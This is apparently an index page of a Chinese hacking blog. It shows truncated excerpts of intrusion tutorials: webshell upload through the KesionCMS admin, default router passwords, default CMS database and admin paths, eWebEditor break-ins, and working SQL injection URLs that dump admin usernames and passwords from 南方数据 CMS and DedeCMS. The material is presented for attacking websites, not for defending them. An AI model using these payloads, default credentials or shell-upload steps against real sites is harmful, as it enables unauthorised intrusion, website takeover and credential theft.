-
KesionCMS后台直接拿shell教程
以前就有人公布过拿shell过程 今天再给大家具体演示一下 KesionCMS V6.5 拿shell！ 演示网站：www.xxxx.com 直接打开后台 admin/login.asp 一般默认密码：admin admin888 认证码 8888 下面看我的截图操作： 上面搞完后点击促成生成/1.asp/目录 我们再添加一个静态标签 直接把一句话加上去如图 上面全部搞好后点击保存标签 然后自己添加个自定义页面，名字什么的可以随...阅读全文阅读全文
-
各类路由器默认账号密码大全
品牌：ViKing 用户名:adsl 密码:adsl1234 品牌：实达默认IP：192.168.10.1 版本：2110ehr v3.20、 2110ehr v3.21、 2110ehr v3.51 用户名：admin 密码：conexant 版本：2110ehr v4.5 用户名：root 密码：grouter 版本：2110eh v3.51（中文web界面）用户名：admin 密码：starnetadsl 品牌：艾玛默认IP：192.168.101.1 用户名：admin 密码：admin 品牌：神州数码/华硕用户...阅读全文
-
南方数据网站漏洞
漏洞影响版本 v10.0 v11.0 关键字：inurl:”HomeMarket.asp” 默认后台：/admin 直接爆用户密码： http://www.xxx.com/NewsType.asp?SmallClass=’%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20”=’ 拿shell方法貌似有4种： 1、注册用户上传拿shell，这...阅读全文
-
入侵dedecms站 找后台的一些小经验分享
首先： 注入exp 有时候 有些 /plus/目录换成了 /plugins目录 /plugins/search.php?keyword=as&typeArr[111%3D@`\’`) +UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20, 21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+ from+`%23@__admin`%23@`\’`+]=a /plus/search.php?keyword=as&typeArr[111%3D@`\...阅读全文
-
各种网站数据库默认路径大全
数据库默认路径全揭秘 db/ewebeditor.mdb ewebeditor默认数据库 /database/NewCloud6.mdb 新云管理系统6.0数据库 eWebEditor/admin_login.asp 默认后台 database/article.asp //贫龙文章管理系统 /data/dvbbs7.mdb 动网论坛数据库 7.X /databackup/dvbbs7.mdb 动网论坛默认备份数据库 7.0-7.1 /bbs/databackup/dvbbs7.mdb /admin/data/qcdn_news.mdb 青创文章管理系统数据库...阅读全文
-
利用ewebeditor编辑器入侵网站教程
eWebEditor编辑器 建议最好检测下admin_style.asp文件是否可以直接访问 直接到样式管理 默认后台地址：/ewebeditor/admin_login.asp 默认后台地址：/admin/eWebEditor/Admin_Login.asp 默认后台地址：/admin/WebEditor/Admin_Login.asp 默认后台地址：/admin/Editor/Admin_Login.asp php默认后台地址:taivid_admin/eWebEditor/admin/login.php 使用默认密码：admin/admin 或...阅读全文
